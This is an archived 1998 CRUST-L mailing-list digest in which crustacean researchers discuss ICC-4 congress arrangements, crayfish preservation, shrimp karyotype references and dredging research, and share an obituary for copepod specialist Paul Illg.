(UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: J F Le Bitoux Date: Wed, 24 Jun 1998 11:13:27 +0200 Subject: CRUST-L: (no subject) unsubcribe crust-l =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #150 ***************************** >From owner-crust-l Tue Jun 30 22:38:25 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id WAA27156 for crust-l-digest-outgoing; Tue, 30 Jun 1998 22:37:59 -0400 Date: Tue, 30 Jun 1998 22:37:59 -0400 Message-Id: <199807010237.WAA27156@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #151 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 25 crust-l-digest Tuesday, 30 June 1998 Volume 01 : Number 151 CRUST-L: Payment of registration for ICC-4 (fwd) Re: CRUST-L: Payment of registration for ICC-4 (fwd) CRUST-L: mss for ICC-4 (fwd) CRUST-L: biological invasions Re: CRUST-L: biological invasions CRUST-L: re:crayfish preservation CRUST-L: ICC-4 CRUST-L: ICC-4 CRUST-L: E-mail of L.Sazhina? Re: CRUST-L: E-mail of L.Sazhina? CRUST-L: ICC-4 CRUST-L: Chromosome number in Macrobrachium? Re: CRUST-L: Chromosome number in Macrobrachium? CRUST-L: Crayfish questions CRUST-L: dredging in mangroves CRUST-L: Paul Illg (1915-1998) (fwd) Re: CRUST-L: Chromosome number in Macrobrachium? ---------------------------------------------------------------------- From: Jeffrey Shields Date: Wed, 24 Jun 1998 09:43:40 -0400 (EDT) Subject: CRUST-L: Payment of registration for ICC-4 (fwd) Please respond to Zhao Jianhong and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Zhao Jianhong To: crust-l@vims.edu Subject: payment of registration for ICC-4 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Does anybody know the address of the Postbank Amsterdam, which is the official bank of ICC-4? This information is needed by my bank when i transfer my registration fee. thanx. J.H. Zhao =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 26 Jun 1998 09:09:21 -0400 (EDT) Subject: Re: CRUST-L: Payment of registration for ICC-4 (fwd) Someone wanted this info. Cheers, Jeff - ---------- Forwarded message ---------- Date: Thu, 25 Jun 1998 13:53:02 +0200 (MET DST) From: Wil van Zijl To: owner-crust-l@vims.edu Subject: Re: CRUST-L: Payment of registration for ICC-4 (fwd) Address postbank: Postbank Postbus 41900 1009 CD Amsterdam Sincerely, Wil van Zijl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Wil van Zijl Institute for Systematics and Populationbiology (ISP) P.O. Box 94766 1090 GT Amsterdam the Netherlands visiting address: Mauritskade 57, Amsterdam, the Netherlands tel. 020 5256635 fax. 020 5255402 e-mail: zijl@bio.uva.nl Every: Monday, Tuesday, Thursday and Friday, between 9.00-17.00 hours. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 26 Jun 1998 09:08:49 -0400 (EDT) Subject: CRUST-L: mss for ICC-4 (fwd) Please respond to Fred Schram and not to me. Cheers, Jeff - ---------- Forwarded message ---------- Date: Fri, 26 Jun 1998 13:09:34 +0100 To: crust-l@vims.edu From: schram@bio.uva.nl (Frederick Schram) Subject: ICC-4 For those of you who are partcipating in ICC-4 in Amsterdam and are finalizing your manuscripts for the proceedings volumes, the following will help great facilitate receipt and processing of your packets. DO NOT send these to the institute in Amsterdam. We only have to forward them. The chief editor of the congress proceedings is Dr. Carel von Vaupel Klein. You can best send your manuscripts directly to him at: Carel von Vaupel Klein Beetslaan 32 NL-3723 DX Bilthoven Netherland ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland or (street address) Mauritskade 57 NL-1092 AD Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl =>___________________________________________ =>http://www.bio.uva.nl/onderzoek/cepa =>http://www.uva.nl/uva/aktueel/congres/crustacean.html =>___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 26 Jun 1998 11:37:03 -0400 (EDT) Subject: CRUST-L: biological invasions FYI, Jeff - ---------- Forwarded message ---------- X-Sender: creilly@po10.mit.edu X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 26 Jun 1998 11:27:49 -0400 To: aliens-l@ns.planet.gen.nz, annelida@net.bio.net, crust-l@VIMS.EDU, ECOLOG-L@UMDD.UMD.EDU, coral-list@coral.aoml.noaa.gov, FISH-SCI@SEGATE.SUNET.SE, fish-ecology@helios.ulpgc.es, mangrove@essun1.murdoch.edu.au, marbio@marinelab.sarasota.fl.us, marine-pests@ml.csiro.au, mollusca@ucmp1.Berkeley.Edu, shellfish@kenyon.edu From: Christine Reilly Subject: First National Conference on Marine Bioinvasions Cc: jpederso@MIT.EDU, creilly@MIT.EDU Apologies for cross-postings, but many workers are on only one of these lists If you would like to be added to the mailing list for the conference, please send your mailing address to: creilly@mit.edu For the most up to date information about the conference, please visit the conference web page: http://massbay.mit.edu/exoticspecies/conference.html ANNOUNCING The first NATIONAL CONFERENCE on MARINE BIOINVASIONS CONVENED BY THE MIT SEA GRANT COLLEGE PROGRAM CALL FOR PAPERS ABSTRACTS DUE 9/1/98 The first National Conference on Marine Bioinvasions will focus on biological invasions of exotic species in coastal, estuarine and marine ecosystems. An emphasis will be on ballast water research and management, ecological and genetic consequences of invasions, diversity in time and space, transport vectors (unintentional and intentional), economic costs and status of predictive tools for assisting managers. We are seeing papers in all areas, and will be devoting a special section to ballast water research including new and proposed approaches for minimizing releases, e.g. ballast water research, fouling organisms, and intentional and unintentional aquaculture releases. Dates: January 24 - 27, 1999 Location: Massachusetts Institute of Technology; Cambridge, MA USA If you are interested in learning more about the conference or are likely to submit an abstract or poster abstract, send your name and address to Judith Pederson, MIT Sea Grant College Program, 292 Main Street E38-300, Cambridge, MA 02129, email: jpederso@mit.edu, fax: 617-252-1615. We are excited about the conference and look forward to seeing you there. *************************************************************** Chrissi Reilly MIT Class of 1999 creilly@mit.edu Environmental Engineering and Science 617-253-9311 *************************************************************** First National Conference on Marine Bioinvasions http://massbay.mit.edu/exoticspecies/conference.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Marion McClary, Jr."" Date: Fri, 26 Jun 1998 16:19:06 -0400 (EDT) Subject: Re: CRUST-L: biological invasions On Fri, 26 Jun 1998, Jeffrey Shields wrote: > If you are interested in learning more about the conference or are likely to > submit an abstract or poster abstract, send your name and address to Judith > Pederson, MIT Sea Grant College Program, 292 Main Street E38-300, Cambridge, > MA 02129, email: jpederso@mit.edu, fax: 617-252-1615. Can anyone tell me who to contact if I'm interested in doing applied/non- academic anti-fouling research? Thank you in advance. Marion McClary, Jr., Ph.D. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: CAF9406@CUB.UCA.EDU Date: Sat, 27 Jun 1998 13:07:29 CST6CDT Subject: CRUST-L: re:crayfish preservation List Members, I am hoping that someone can provide me with a method of preserving crayfish that will allow them to maintain a semblance of their life colours (if such a method exists). I am currently preserving with 10% formalin for 3 days and storing them in 70% ethanol. This technique seemed to work initially with the specimens retaining most of their colouring. However, after a week or so most turn red. Previously, I had preserved them in 70% ethanol and stored them in fresh 70% a few days later and they eventually turned white. Is this the best one can expect? Thanks in advance, Camille Flinders Department of Biology University of Central Arkansas e-mail: caf9406@cub.uca.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Mon, 29 Jun 1998 09:37:27 +0100 Subject: CRUST-L: ICC-4 We at ICC-4 have had numerous requests from students and scientists from developing countries for assistance with congress expenses, especially registration fees and hotel costs in Amsterdam. The congress board has had some success in raising funds from various sources to support eastern European and third world colleagues. However, the funds raised so far can support only a limited number of people, and the waiting list is still long, especially for graduate students. Recently, we have had some money donated by private individuals to the ICC-4 specifically to support students from developing countries. If there are any other ""first world"" colleagues out there who might also want to donate funds for this worthy cause, please contact Fred Schram: schram@bio.uva.nl ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland or (street address) Mauritskade 57 NL-1092 AD Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl =>___________________________________________ =>http://www.bio.uva.nl/onderzoek/cepa =>http://www.uva.nl/uva/aktueel/congres/crustacean.html =>___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Mon, 29 Jun 1998 12:56:33 +0100 Subject: CRUST-L: ICC-4 We at ICC-4 have had numerous requests from students and scientists from developing countries for assistance with congress expenses, especially registration fees and hotel costs in Amsterdam. The congress board has had some success in raising funds from various sources to support eastern European and third world colleagues. However, the funds raised so far can support only a limited number of people, and the waiting list is still long, especially for graduate students. Recently, we have had some money donated by private individuals to the ICC-4 specifically to support students from developing countries. If there are any other ""first world"" colleagues out there who might also want to donate funds for this worthy cause, please contact Fred Schram: schram@bio.uva.nl ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland or (street address) Mauritskade 57 NL-1092 AD Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl =>___________________________________________ =>http://www.bio.uva.nl/onderzoek/cepa =>http://www.uva.nl/uva/aktueel/congres/crustacean.html =>___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andrew Hirst Date: Mon, 29 Jun 1998 18:10:56 +0100 Subject: CRUST-L: E-mail of L.Sazhina? Dear crusters Does anyone know the e-mail or fax number of: Dr Ludmila I. Sazhina Institute of Biology of South Seas Academy of Sciences UkSSR Thanks in advance. Andrew Hirst __________________________________________ Dr AG Hirst George Deacon Division for Ocean Processes Southampton Oceanography Centre Empress Dock Southampton SO14 3ZH United Kingdom Tel: +44 (0)1703 596335 Fax: +44 (0)1703 596247 __________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Tue, 30 Jun 1998 10:22:01 +0100 Subject: Re: CRUST-L: E-mail of L.Sazhina? >Dear crusters >Does anyone know the e-mail or fax number of: >Dr Ludmila I. Sazhina >Institute of Biology of South Seas >Academy of Sciences >UkSSR >Thanks in advance. >Andrew Hirst You may TRY (c/o) ibss.sevastopol@omnet.com or root@inbum.sebastopol.ua fax +7 690 59 2813 Best regards, Pierre Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Tue, 30 Jun 1998 10:43:30 +0100 Subject: CRUST-L: ICC-4 The University of Amsterdam congress bureau, who is helping us run ICC-4, tells us that they have NEVER encountered a group of congress participants so devoted to the use of e-mail! That being the case, we think it a good idea to broadcast some information over oral presentations in Amsterdam in a few weeks. Oral talks are scheduled for 15 minutes each. We recommend that you plan to speak for 10-12 minutes and allow some time for questions or comments. However, the 15 minutes is yours to do with as you wish, and if you take 15 minutes to talk -- so be it. However, with simultaneous sessions, we will be ruthless in regulating the time schedule. If you try to exceed your allocated 15 minutes, a trap door will open under the podium and you will be flushed into a canal. Practice your talks carefully! ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland or (street address) Mauritskade 57 NL-1092 AD Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl =>___________________________________________ =>http://www.bio.uva.nl/onderzoek/cepa =>http://www.uva.nl/uva/aktueel/congres/crustacean.html =>___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Pereira Guido - Prof. IZT "" Date: Tue, 30 Jun 1998 08:21:27 -0300 (EDT) Subject: CRUST-L: Chromosome number in Macrobrachium? Hi cruster's, We are currently working on the karyotype of some Palaemonid shrimps but so far do not have references dealing with the matter on Palaemonids. Please do some body of you know of a any publication dealing with the karyotype of Macrobrachium rosenbergii (Decapoda, Palaemonidae) or any other species of Palemonidae? Thanks in advances, Hope you are enjoying the Futbol (Soccer) world cup Cheers Guido Pereira Instituto de Zoologia Tropical, UCV Aptdo 47058, Caracas 1041-A Venezuela email:gpereira@strix.ciens.ucv.ve =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Tue, 30 Jun 1998 15:00:32 +0100 Subject: Re: CRUST-L: Chromosome number in Macrobrachium? >Hi cruster's, >We are currently working on the karyotype of some Palaemonid shrimps >but so far do not have references dealing with the matter on Palaemonids. >Please do some body of you know of a any publication dealing with >the karyotype of Macrobrachium rosenbergii (Decapoda, Palaemonidae)> or any >other species of Palemonidae? >Thanks in advances, (..) >Guido Pereira See : Chavez Justo & al. 1991 (Macrobrachium rosenbergii n = 40/44 ) Mittal & Dhall 1971 (Macrobrachium siwalikensis n = 50) Rheinsmith & al. 1974 ((Macrobrachium n = 50 - 59) Vishnoi 1972 (Palaemon lamarrei n = 59) ... Ref. in Lecher & al., 1995, Invert. Reprod. Develop., 27(2): 85-114. Best regards. Pierre. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 30 Jun 1998 22:21:16 -0400 (EDT) Subject: CRUST-L: Crayfish questions Please respond to the original poster. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: imaguire@public.srce.hr X-Mailer: Windows Eudora Light Version 3.0.1 (16) Date: Thu, 29 Jan 1998 16:01:06 To: CRUST-L@VIMS.EDU From: im Subject: questions, questions Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Dear fellow scientists, Is there anyone who could help and answer our questions: 1. A method for approximation of freshwater crayfish population in streams and lakes. How many individuals it takes to make the research statistically significant? 2. A method for determination of molt stages of Astacus astacus morphological, immunohistochemical or any other method. 3. Anticoagulant for hemolymph of Astacidae (apart from 5% sodium polyanethol sulfate). If the answer is satisfactory we'll buy you a beer in Augsburg! Thanks in advance, Ivana, Goran and Andreja - ---------------------------------------------------------------------------- - -------- Goran I.V. Klobucar, Ivana Maguire Department of Zoology, Department of Zoology, Faculty of Science, Faculty of Science, University of Zagreb, University of Zagreb, Rooseveltov trg 6, Rooseveltov trg 6, 10000 Zagreb, 10000 Zagreb, Croatia Croatia Gklobuca@public.srce.hr imaguire@public.srce.hr - ---------------------------------------------------------------------------- - -------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 30 Jun 1998 22:24:54 -0400 (EDT) Subject: CRUST-L: dredging in mangroves Please respond to the poster and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: MAIL-IN To: ""'coral-list@coral.aoml.noaa.gov'"" Cc: ""'crust-l@vims.edu'"" Subject: Environmental Impacts of Dredging in Mangrove Ecosystems Date: Mon, 29 Jun 1998 18:29:03 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable I am a post graduate student of Environmental Microbiology at the = University of Benin, Nigeria. My Ph.D research is on the impact of = dredging operations on biological resouces of a mangrove ecosystem in = the Niger Delta. The reseach is in 3 phases, namely:- Pre-dredging baseline data aquisition Monitoring during dredging operations, and=20 Post-dredging impact monitoring. During the 3 phase monitoring, biological (phyto- & zoo-plankton), = physico-chemical and microbiological analysis will be carried out. = Laboratory models with the sole aim of reducing the impact of dredging = will be developed.=20 I have completed the first phase of the work, and currently preparing = for the second phase. The major obstacle to this reseach, is the lack of literatures in this = area of study. To this effect, I will be very grateful if you could = assist me with some literatures or at least send me the names/addresses = of other organisation(s) that could help. Yours faithfully, Elijah Ohimain Mail-in@linkserve.com.ng P. O. Box 4090, Warri, Delta State, Nigeria. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 30 Jun 1998 22:29:36 -0400 (EDT) Subject: CRUST-L: Paul Illg (1915-1998) (fwd) FYI - ---------- Forwarded message ---------- Date: Tue, 30 Jun 1998 10:44:55 -0400 To: crust-l@VIMS.EDU From: ""James T. Carlton"" Subject: Paul Illg (1915-1998) University of Washington Emeritus Professor of Zoology Paul Illg died on May 10, 1998 at the age of 83. He was a notable scholar of invertebrate zoology, and a life-long worker on parasitic copepods. A Californian native, he came under the tutelage in the 1930s at the University of California at Berkeley of the legendary professor S . F. Light (for whom Light's Manual is named, and to which Paul contributed the copepod (free-living and parasitic) chapter for the Third Edition in 1975). From 1947 to 1952 he was Associate Curator of Crustacea at the Smithsonian Institution, during which time he also earned his Ph.D. at George Washington University. He was a member of the UW faculty since 1952, and taught for many years at the Friday Harbor Laboratories on San Juan Island, where he also maintained a beach home. According to The Seattle Times of 16 May, after he retired in 1983, ""he taught marine biology in eastern Micronesia. He considered teaching native people the relationships between reef plants and animals one of his most rewarding experiences."" One of his many life-long interests was art, and he collected both Asian and Native American works. His survivors include his wife of 51 years, Ruth, his son Joseph Illg of Seattle, and his daughters Elizabeth Illg of Friday Harbor and Maliki Tara of Maui, Hawaiian Islands. A memorial gathering will be held August 8 on Illg Beach at Friday Harbor. In a letter that Paul wrote to me on February 4, 1998, he expressed his regrets at not being able to participate in contributing to the Fourth Edition of Light's (now The Light and Smith) Manual. As always, it was a kind, thoughtful, and gentlemanly letter. Jim Carlton ________________________________ James T. Carlton Professor of Marine Sciences Williams College, Williamstown, Massachusetts Director, Williams-Mystic Program Mystic Seaport, Mystic, Connecticut =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Burachai Sonthayanon Date: Wed, 1 Jul 1998 09:38:34 +0700 (GMT+0700) Subject: Re: CRUST-L: Chromosome number in Macrobrachium? Hi everybody, On Tue, 30 Jun 1998, Pierre NOEL wrote: > >Please do some body of you know of a any publication dealing with > >the karyotype of Macrobrachium rosenbergii (Decapoda, Palaemonidae)> or any > > See : Chavez Justo & al. 1991 (Macrobrachium rosenbergii n = 40/44 ) > Mittal & Dhall 1971 (Macrobrachium siwalikensis n = 50) > Rheinsmith & al. 1974 ((Macrobrachium n = 50 - 59) > Vishnoi 1972 (Palaemon lamarrei n = 59) > ... > Ref. in Lecher & al., 1995, Invert. Reprod. Develop., 27(2): 85-114. There is an additional ref. which was not included :- Damrongphol,P., Eangchuan, N., Ajpru, S., Poolsanguan, B., and B. Withyachumnarnkul 1991 Karyotype of the giant freshwater prawn, Macrobrachium rosenbergii. J Sci. Soc. Thailand. 17, 57-69 (n=59, 6 large, 26 medium, 15 small, 12 very small pairs) Burachai Sonthayanon, Ph.D. Assistant Professor Institute of Molecular Biology and Genetics, Mahidol University, Salaya, Nakhon Pathom 73170, Thailand =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #151 ***************************** >From owner-crust-l Fri Jul 10 01:31:39 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id BAA13483 for crust-l-digest-outgoing; Fri, 10 Jul 1998 01:31:04 -0400 Date: Fri, 10 Jul 1998 01:31:04 -0400 Message-Id: 